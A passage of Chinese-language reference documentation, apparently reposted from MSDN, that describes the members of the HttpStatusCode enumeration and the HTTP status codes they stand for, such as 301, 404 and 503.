等效于 HTTP 状态 302。 Found 指示请求的信息位于 Location 头中指定的 URI 处。接收到此状态时的默认操作为遵循与响应关联的 Location 头。原始请求方法为 POST 时,重定向的请求将使用 GET 方法。

GatewayTimeout

等效于 HTTP 状态 504。 GatewayTimeout 指示中间代理服务器在等待来自另一个代理或原始服务器的响应时已超时。

Gone

等效于 HTTP 状态 410。 Gone 指示请求的资源不再可用。

HttpVersionNotSupported

等效于 HTTP 状态 505。 HttpVersionNotSupported 指示服务器不支持请求的 HTTP 版本。

InternalServerError

等效于 HTTP 状态 500。 InternalServerError 指示服务器上发生了一般错误。

LengthRequired

等效于 HTTP 状态 411。 LengthRequired 指示缺少必需的 Content-length 头。

MethodNotAllowed

等效于 HTTP 状态 405。 MethodNotAllowed 指示请求的资源上不允许请求方法(POST 或 GET)。

Moved

等效于 HTTP 状态 301。 Moved 指示请求的信息已移到 Location 头中指定的 URI 处。接收到此状态时的默认操作为遵循与响应关联的 Location 头。原始请求方法为 POST 时,重定向的请求将使用 GET 方法。

MovedPermanently

等效于 HTTP 状态 301。 MovedPermanently 指示请求的信息已移到 Location 头中指定的 URI 处。接收到此状态时的默认操作为遵循与响应关联的 Location 头。

MultipleChoices

等效于 HTTP 状态 300。 MultipleChoices 指示请求的信息有多种表示形式。默认操作是将此状态视为重定向,并遵循与此响应关联的 Location 标头的内容。

NoContent

等效于 HTTP 状态 204。 NoContent 指示已成功处理请求并且响应已被设定为无内容。

NonAuthoritativeInformation

等效于 HTTP 状态 203。 NonAuthoritativeInformation 指示返回的元信息来自缓存副本而不是原始服务器,因此可能不正确。

NotAcceptable

等效于 HTTP 状态 406。 NotAcceptable 指示客户端已用 Accept 头指示将不接受资源的任何可用表示形式。

NotFound

等效于 HTTP 状态 404。 NotFound 指示请求的资源不在服务器上。

NotImplemented

等效于 HTTP 状态 501。 NotImplemented 指示服务器不支持请求的函数。

NotModified

等效于 HTTP 状态 304。 NotModified 指示客户端的缓存副本是最新的。未传输此资源的内容。

OK

等效于 HTTP 状态 200。 OK 指示请求成功,且请求的信息包含在响应中。这是最常接收的状态代码。

PartialContent

等效于 HTTP 状态 206。 PartialContent 指示响应是包括字节范围的 GET 请求所请求的部分响应。

PaymentRequired

等效于 HTTP 状态 402。保留 PaymentRequired 以供将来使用。

PreconditionFailed

等效于 HTTP 状态 412。 PreconditionFailed 指示为此请求设置的条件失败,且无法执行此请求。条件是用条件请求标头(如 If-Match、If-None-Match 或 If-Unmodified-Since)设置的。

ProxyAuthenticationRequired

等效于 HTTP 状态 407。 ProxyAuthenticationRequired 指示请求的代理要求身份验证。Proxy-authenticate 头包含如何执行身份验证的详细信息。

Redirect

等效于 HTTP 状态 302。 Redirect 指示请求的信息位于 Location 头中指定的 URI 处。接收到此状态时的默认操作为遵循与响应关联的 Location 头。原始请求方法为 POST 时,重定向的请求将使用 GET 方法。

RedirectKeepVerb

等效于 HTTP 状态 307。 RedirectKeepVerb 指示请求信息位于 Location 头中指定的 URI 处。接收到此状态时的默认操作为遵循与响应关联的 Location 头。原始请求方法为 POST 时,重定向的请求还将使用 POST 方法。

RedirectMethod

等效于 HTTP 状态 303。作为 POST 的结果,RedirectMethod 将客户端自动重定向到 Location 头中指定的 URI。用 GET 生成对 Location 标头所指定的资源的请求。

RequestedRangeNotSatisfiable

等效于 HTTP 状态 416。 RequestedRangeNotSatisfiable 指示无法返回从资源请求的数据范围,因为范围的开头在资源的开头之前,或因为范围的结尾在资源的结尾之后。

RequestEntityTooLarge

等效于 HTTP 状态 413。 RequestEntityTooLarge 指示请求太大,服务器无法处理。

RequestTimeout

等效于 HTTP 状态 408。 RequestTimeout 指示客户端没有在服务器期望请求的时间内发送请求。

RequestUriTooLong

等效于 HTTP 状态 414。 RequestUriTooLong 指示 URI 太长。

ResetContent

等效于 HTTP 状态 205。 ResetContent 指示客户端应重置(或重新加载)当前资源。

SeeOther

等效于 HTTP 状态 303。作为 POST 的结果,SeeOther 将客户端自动重定向到 Location 头中指定的 URI。用 GET 生成对 Location 标头所指定的资源的请求。

ServiceUnavailable

等效于 HTTP 状态 503。 ServiceUnavailable 指示服务器暂时不可用,通常是由于过多加载或维护。

SwitchingProtocols

等效于 HTTP 状态 101。 SwitchingProtocols 指示正在更改协议版本或协议。

TemporaryRedirect

等效于 HTTP 状态 307。 TemporaryRedirect 指示请求信息位于 Location 头中指定的 URI 处。接收到此状态时的默认操作为遵循与响应关联的 Location 头。原始请求方法为 POST 时,重定向的请求还将使用 POST 方法。

Unauthorized

等效于 HTTP 状态 401。 Unauthorized 指示请求的资源要求身份验证。WWW-Authenticate 头包含如何执行身份验证的详细信息。

UnsupportedMediaType

等效于 HTTP 状态 415。 UnsupportedMediaType 指示请求是不支持的类型。

Unused

等效于 HTTP 状态 306。 Unused 是未完全指定的 HTTP/1.1 规范的建议扩展。

UpgradeRequired

等效于 HTTP 状态 426。 UpgradeRequired 指示客户端应切换为诸如 TLS/1.0 之类的其他协议。

UseProxy

等效于 HTTP 状态 305。 UseProxy 指示请求应使用位于 Location 头中指定的 URI 的代理服务器。

M
转自 MSDN 15 年前
5,798